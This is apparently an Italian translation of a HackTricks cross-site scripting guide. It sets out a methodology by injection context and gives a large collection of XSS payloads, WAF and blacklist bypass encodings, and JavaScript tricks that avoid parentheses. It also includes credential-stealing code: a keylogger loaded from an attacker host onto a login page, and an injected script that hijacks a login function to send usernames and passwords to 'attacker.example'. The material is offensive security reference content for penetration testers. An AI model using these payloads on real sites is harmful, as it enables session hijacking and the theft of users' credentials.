%.*s
XSS (Cross Site Scripting)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Metodologia
- Controlla se any value you control (parameters, path, headers?, cookies?) viene riflesso nell’HTML o usato da codice JS.
- Trova il contesto in cui viene riflesso/usato.
- Se è riflesso
- Verifica quali simboli puoi usare e, in base a quelli, prepara il payload:
- In raw HTML:
- Puoi creare nuovi tag HTML?
- Puoi usare eventi o attributi che supportano il protocollo
javascript:? - Puoi bypassare le protezioni?
- Il contenuto HTML viene interpretato da qualche motore JS client side (AngularJS, VueJS, Mavo…)? Potresti abusare di una Client Side Template Injection.
- Se non puoi creare tag HTML che eseguono codice JS, puoi abusare di un Dangling Markup - HTML scriptless injection?
- Dentro un tag HTML:
- Riesci a uscire nel contesto raw HTML?
- Puoi creare nuovi eventi/attributi per eseguire codice JS?
- L’attributo in cui sei intrappolato supporta l’esecuzione JS?
- Puoi bypassare le protezioni?
- Dentro codice JavaScript:
- Riesci a evadere il tag
<script>? - Riesci a evadere la stringa ed eseguire codice JS diverso?
- Il tuo input è in template literals ``?
- Puoi bypassare le protezioni?
- Funzione Javascript che viene eseguita
- Puoi indicare il nome della funzione da eseguire. es.:
?callback=alert(1) - Se è usato:
- Potresti sfruttare una DOM XSS; presta attenzione a come il tuo input è controllato e se il tuo input controllato è usato da qualche sink.
Quando lavori su una XSS complessa potrebbe esserti utile sapere di:
Valori riflessi
Per poter sfruttare con successo una XSS la prima cosa che devi trovare è un valore controllato da te che viene riflesso nella pagina web.
- Riflesso in modo intermedio: Se trovi che il valore di un parametro o anche del path viene riflesso nella pagina web potresti sfruttare una Reflected XSS.
- Salvato e riflesso: Se trovi che un valore controllato da te viene salvato sul server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare una Stored XSS.
- Accessibile via JS: Se trovi che un valore controllato da te viene accesso tramite JS potresti sfruttare una DOM XSS.
Contesti
Quando provi a sfruttare una XSS la prima cosa che devi sapere è dove viene riflesso il tuo input. A seconda del contesto, potrai eseguire codice JS arbitrario in modi diversi.
Raw HTML
Se il tuo input è riflesso nel raw HTML della pagina dovrai abusare di qualche HTML tag per eseguire codice JS: <img , <iframe , <svg , <script … questi sono solo alcuni dei molti tag HTML che puoi usare.
Ricorda anche Client Side Template Injection.
Inside HTML tags attribute
Se il tuo input è riflesso dentro il valore di un attributo di un tag, puoi provare:
- A evadere l’attributo e il tag (allora ti troverai nel raw HTML) e creare un nuovo tag HTML da abusare:
"><img [...] - Se puoi evadere l’attributo ma non il tag (
>è codificato o rimosso), a seconda del tag puoi creare un evento che esegue codice JS:" autofocus onfocus=alert(1) x=" - Se non puoi evadere l’attributo (
"viene codificato o rimosso), allora a seconda di quale attributo il tuo valore viene riflesso e se controlli tutto il valore o solo una parte sarai in grado di abusarne. Per esempio, se controlli un evento comeonclick=potrai farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante esempio è l’attributohref, dove puoi usare il protocollojavascript:per eseguire codice arbitrario:href="javascript:alert(1)" - Se il tuo input è riflesso dentro “tag non sfruttabili” potresti provare il trucco
accesskeyper abusare della vulnerabilità (ti servirà una qualche forma di social engineering per sfruttarla):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
Una pagina di login SSO aziendale rifletteva il parametro OAuth service dentro l’attributo href di <a id="forgot_btn" ...>. Anche se < e > erano HTML-encoded, le virgolette doppie non lo erano, quindi l’attaccante poteva chiudere l’attributo e riusare lo stesso elemento per iniettare handler come " onfocus="payload" x=".
- Iniettare l’handler: Payload semplici come
onclick="print(1)"venivano bloccati, ma il WAF ispezionava solo la prima istruzione JavaScript negli attributi inline. Prefissare un’espressione innocua racchiusa tra parentesi, poi un punto e virgola, permetteva al vero payload di eseguire:onfocus="(history.length);malicious_code_here". - Attivarlo automaticamente: I browser mettono a fuoco qualunque elemento il cui
idcorrisponde al fragment, quindi aggiungere#forgot_btnall’URL dell’exploit forza l’anchor a ricevere il focus al caricamento della pagina ed esegue l’handler senza bisogno di un click. - Tenere lo stub inline piccolo: Il target aveva già jQuery. L’handler aveva solo bisogno di bootstrapare una richiesta via
$.getScript(...)mentre il keylogger completo risiedeva sul server dell’attaccante.
Building strings without quotes
Le single quotes venivano restituite URL-encoded e le double quotes escape rovinate l’attributo, quindi il payload generava ogni stringa con String.fromCharCode. Una funzione helper rende facile convertire qualsiasi URL in char codes prima di incollarlo nell’attributo:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Un attributo risultante appariva così:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Perché questo ruba le credenziali
Lo script esterno (caricato da un host controllato dall’attacker o da Burp Collaborator) ha agganciato document.onkeypress, ha bufferizzato i tasti premuti e ogni secondo effettuava new Image().src = collaborator_url + keys. Poiché l’XSS si attiva solo per utenti unauthenticated, l’azione sensibile è il login form stesso — l’attacker keylogs usernames e passwords anche se la vittima non preme mai “Login”.
Esempio strano di Angular che esegue XSS se controlli un class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
All’interno del codice JavaScript
In questo caso il tuo input viene riflesso tra <script> [...] </script> tag di una pagina HTML, all’interno di un file .js o dentro un attributo che usa il protocollo javascript::
- Se riflesso tra
<script> [...] </script>tag, anche se il tuo input è dentro qualsiasi tipo di virgolette, puoi provare a iniettare</script>e uscire da questo contesto. Questo funziona perché il browser analizzerà prima i tag HTML e poi il contenuto, quindi non noterà che il tag</script>che hai iniettato è all’interno del codice HTML. - Se riflesso all’interno di una JS string e l’ultimo trucco non funziona dovrai uscire dalla stringa, eseguire il tuo codice e ricostruire il codice JS (se c’è qualche errore, non verrà eseguito:
'-alert(1)-'';-alert(1)//\';alert(1)//- Se riflesso all’interno di template literals puoi incorporare espressioni JS usando la sintassi
${ ... }:var greetings = `Hello, ${alert(1)}` - Unicode encode funziona per scrivere valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting si riferisce alla possibilità di dichiarare funzioni, variabili o classi dopo che sono state usate, così da poter sfruttare scenari in cui una XSS usa variabili o funzioni non dichiarate.
Consulta la seguente pagina per maggiori informazioni:
Javascript Function
Diversi siti web hanno endpoint che accettano come parametro il nome della funzione da eseguire. Un esempio comune che si vede in natura è qualcosa del tipo: ?callback=callbackFunc.
Un buon modo per scoprire se qualcosa passato direttamente dall’utente viene eseguito è modificare il valore del parametro (ad esempio in ‘Vulnerable’) e controllare la console per errori come:
.png)
Se è vulnerabile, potresti essere in grado di far scattare un alert semplicemente inviando il valore: ?callback=alert(1). Tuttavia, è molto comune che questi endpoint validino il contenuto per permettere solo lettere, numeri, punti e underscore ([\w\._]).
Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi usare quei caratteri validi per accedere a qualsiasi elemento nel DOM:
.png)
Alcune funzioni utili per questo:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Puoi anche provare a triggerare funzioni Javascript direttamente: obj.sales.delOrders.
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, other pages in the same origin avranno un DOM più interessante per eseguire più azioni.
Perciò, per abusare di questa vulnerabilità in un DOM diverso è stato sviluppato lo sfruttamento Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
C’è del JS code che utilizza in modo insicuro alcuni dati controllati da un attacker come location.href. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
Universal XSS
Questo tipo di XSS può essere trovato ovunque. Non dipendono solo dallo sfruttamento lato client di una web application ma da qualsiasi contesto. Questo tipo di arbitrary JavaScript execution può persino essere abusato per ottenere RCE, leggere file arbitrari su client e server, e altro.
Alcuni esempi:
Immagine di encoding per bypass WAF
.jpg)
Iniezione all’interno di HTML grezzo
Quando il tuo input è riflesso inside the HTML page o puoi fare escape e iniettare codice HTML in questo contesto la prima cosa che devi fare è verificare se puoi abusare di < per creare nuovi tag: prova semplicemente a riflettere quel char e controlla se viene HTML encoded o deleted o se è reflected without changes. Solo nell’ultimo caso potrai sfruttare questa situazione.
Per questi casi tieni anche a mente Client Side Template Injection.
Nota: A HTML comment can be closed using****-->****or **--!>**
In questo caso e se non viene usato alcun black/whitelisting, potresti usare payloads come:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Ma, se viene utilizzato il black/whitelisting di tag/attributi, dovrai brute-force quali tag puoi creare.\
Una volta che hai individuato quali tag sono permessi, dovrai brute-force attributi/eventi all’interno dei tag validi trovati per vedere come puoi attaccare il contesto.
Tags/Events brute-force
Vai su https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clicca su Copy tags to clipboard. Poi, inviali tutti usando Burp intruder e verifica se qualche tag non è stato rilevato come malevolo dal WAF. Una volta scoperti i tag che puoi usare, puoi eseguire brute-force su tutti gli eventi usando i tag validi (nella stessa pagina web clicca su Copy events to clipboard e segui la stessa procedura di prima).
Tag personalizzati
Se non hai trovato alcun tag HTML valido, puoi provare a creare un tag personalizzato ed eseguire codice JS con l’attributo onfocus. Nella richiesta XSS, devi terminare l’URL con # per far sì che la pagina si focalizzi su quell’oggetto e esegua il codice:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Se viene utilizzata una blacklist, puoi provare a bypassarla con alcuni trucchetti:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Altri payload tiny XSS per diversi ambienti si trovano qui e qui.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
L’ultimo sta usando 2 caratteri unicode che si espandono in 5: telsr
Altri di questi caratteri si possono trovare here.
Per verificare in quali caratteri sono decomposti controlla here.
Click XSS - Clickjacking
Se per sfruttare la vulnerabilità hai bisogno che l’utente clicchi un link o un form con dati precompilati puoi provare a abuse Clickjacking (se la pagina è vulnerabile).
Impossible - Dangling Markup
Se pensi semplicemente che sia impossibile creare un HTML tag con un attributo che esegua codice JS, dovresti controllare Danglig Markup because potresti exploitare la vulnerabilità senza eseguire codice JS.
Iniettare all’interno di HTML tag
All’interno del tag/escaping dal valore dell’attributo
Se sei all’interno di un HTML tag, la prima cosa che potresti provare è escape dal tag e usare alcune delle tecniche menzionate nella previous section per eseguire codice JS.
Se non puoi escape dal tag, potresti creare nuovi attributi all’interno del tag per cercare di eseguire codice JS, per esempio usando un payload simile a questo (nota che in questo esempio le virgolette doppie sono usate per uscire dall’attributo, non le avrai bisogno se il tuo input è riflesso direttamente dentro il tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Eventi di stile
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
All’interno dell’attributo
Anche se non puoi uscire dall’attributo (" viene codificato o eliminato), a seconda di in quale attributo il tuo valore viene riflesso e se controlli l’intero valore o solo una parte sarai in grado di abusarne. Ad esempio, se controlli un evento come onclick= potrai farlo eseguire codice arbitrario quando viene cliccato.
Un altro interessante esempio è l’attributo href, dove puoi usare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"
Bypass all’interno dell’evento usando HTML encoding/URL encode
I caratteri HTML codificati all’interno del valore degli attributi dei tag HTML vengono decodificati a runtime. Pertanto qualcosa come il seguente sarà valido (il payload è in grassetto): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Nota che qualsiasi tipo di codifica HTML è valida:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Nota che URL encode funzionerà anche:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass all’interno dell’evento usando Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocolli speciali all’interno dell’attributo
Lì puoi usare i protocolli javascript: o data: in alcuni posti per eseguire codice JS arbitrario. Alcuni richiederanno l’interazione dell’utente, altri no.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Luoghi in cui puoi iniettare questi protocolli
In generale il protocollo javascript: può essere usato in qualsiasi tag che accetta l’attributo href e nella maggior parte dei tag che accettano l’attributo src (ma non <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Altri trucchi di offuscamento
In questo caso l’HTML encoding e il Unicode encoding della sezione precedente sono anch’essi validi, dato che ti trovi all’interno di un attributo.
<a href="javascript:var a=''-alert(1)-''">
Inoltre, c’è un altro bel trucco per questi casi: Anche se il tuo input dentro javascript:... viene URL encoded, verrà URL decoded prima di essere eseguito. Quindi, se hai bisogno di uscire dalla stringa usando un apice singolo e noti che viene URL encoded, ricorda che non importa, sarà interpretato come un apice singolo durante il tempo di esecuzione.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Nota che se provi a usare entrambi URLencode + HTMLencode in qualunque ordine per codificare il payload non funzionerà, ma puoi mescolarli all’interno del payload.
Uso di Hex e Octal encode con javascript:
Puoi usare Hex e Octal encode all’interno dell’attributo src di iframe (almeno) per dichiarare HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Se puoi inserire qualsiasi URL in un qualunque tag <a href= che contiene gli attributi target="_blank" and rel="opener", consulta la pagina seguente per sfruttare questo comportamento:
Bypass degli event handler “on”
Prima di tutto controlla questa pagina (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) per utili event handler “on”.
Nel caso ci sia una blacklist che ti impedisca di creare questi event handler, puoi provare i bypass seguenti:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in “Unexploitable tags” (hidden input, link, canonical, meta)
Da here ora è possibile abusare dei hidden inputs con:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
E nei meta tag:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Da here: Puoi eseguire un XSS payload all’interno di un attributo hidden, a condizione che tu riesca a persuadere la vittima a premere la combinazione di tasti. Su Firefox Windows/Linux la combinazione di tasti è ALT+SHIFT+X e su OS X è CTRL+ALT+X. Puoi specificare una diversa combinazione di tasti usando un tasto diverso nell’access key attribute. Ecco il vettore:
<input type="hidden" accesskey="X" onclick="alert(1)">
Il payload XSS sarà qualcosa del genere: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Diversi trucchi che utilizzano differenti encoding sono già stati esposti in questa sezione. Vai indietro per imparare dove puoi usare:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Leggi la Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Leggi la JavaScript bypass blacklist of the following section.
CSS-Gadgets
Se trovi una XSS in una parte molto piccola del sito che richiede una sorta di interazione (magari un piccolo link nel footer con un onmouseover), puoi provare a modificare lo spazio che quell’elemento occupa per massimizzare la probabilità che il link venga attivato.
Per esempio, potresti aggiungere dello styling nell’elemento come: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ma, se il WAF sta filtrando l’attributo style, puoi usare CSS Styling Gadgets, quindi se trovi, per esempio
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Ora puoi modificare il nostro link e portarlo nella forma
<a href=“” id=someid class=test onclick=alert() a=“”>
Questo trucco è tratto da https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
In questi casi il tuo input verrà riflesso all’interno del codice JS di un file .js o fra tag <script>...</script> o in eventi HTML che possono eseguire codice JS o in attributi che accettano il protocollo javascript:.
Escaping <script> tag
Se il tuo codice viene inserito all’interno di <script> [...] var input = 'reflected data' [...] </script> puoi facilmente uscire chiudendo il tag <script>:
</script><img src=1 onerror=alert(document.domain)>
Nota che in questo esempio non abbiamo nemmeno chiuso l’apice singolo. Questo perché il parsing HTML viene eseguito prima dal browser, il quale identifica gli elementi della pagina, inclusi i blocchi di script. Il parsing del JavaScript per comprendere ed eseguire gli script incorporati viene effettuato solo successivamente.
All’interno del codice JS
Se <> vengono sanitizzati puoi comunque terminare la stringa dove il tuo input è posizionato ed eseguire JS arbitrario. È importante correggere la sintassi JS, perché se ci sono errori, il codice JS non verrà eseguito:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Quando l’input dell’utente finisce dentro una stringa JavaScript quotata (es., server-side echo in uno script inline), puoi terminare la stringa, inject codice e riparare la sintassi per mantenere il parsing valido. Scheletro generico:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Esempio di pattern URL quando il parametro vulnerabile viene riflesso in una stringa JS:
?param=test";<INJECTION>;a="
Questo esegue attacker JS senza bisogno di toccare il contesto HTML (pure JS-in-JS). Combinalo con blacklist bypasses qui sotto quando i filtri bloccano parole chiave.
Template literals ``
Per costruire strings, oltre alle single e double quotes, JS accetta anche le backticks ``. Questo è noto come template literals in quanto permettono di inserire embedded JS expressions usando la sintassi ${ ... }.\ Quindi, se trovi che il tuo input viene reflected all’interno di una JS string che usa backticks, puoi abusare della sintassi ${ ... } per eseguire arbitrary JS code:
Questo può essere abused usando:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Esecuzione di codice codificato
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
payloads consegnabili con eval(atob()) e sfumature di ambito
Per mantenere gli URL più corti e aggirare filtri semplici basati su parole chiave, puoi codificare la logica reale in base64 e valutarla con eval(atob('...')). Se filtri semplici basati su parole chiave bloccano identificatori come alert, eval o atob, usa identificatori Unicode-escaped che compilano in modo identico nel browser ma eludono i filtri basati sul confronto di stringhe:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Importante sfumatura di scoping: const/let dichiarati all’interno di eval() sono block-scoped e NON creano globals; non saranno accessibili agli script successivi. Usa un elemento <script> iniettato dinamicamente per definire global, non-rebindable hooks quando necessario (ad es., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Esecuzione JS codificata in Unicode
alert(1)
alert(1)
alert(1)
Tecniche di bypass delle blacklist JavaScript
Stringhe
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Escape speciali
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Sostituzioni di spazi all’interno del codice JS
<TAB>
/**/
JavaScript comments (dal JavaScript Comments trucco)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (dal JavaScript new line trucco)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript spazi bianchi
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript all’interno di un commento
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript senza parentesi
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
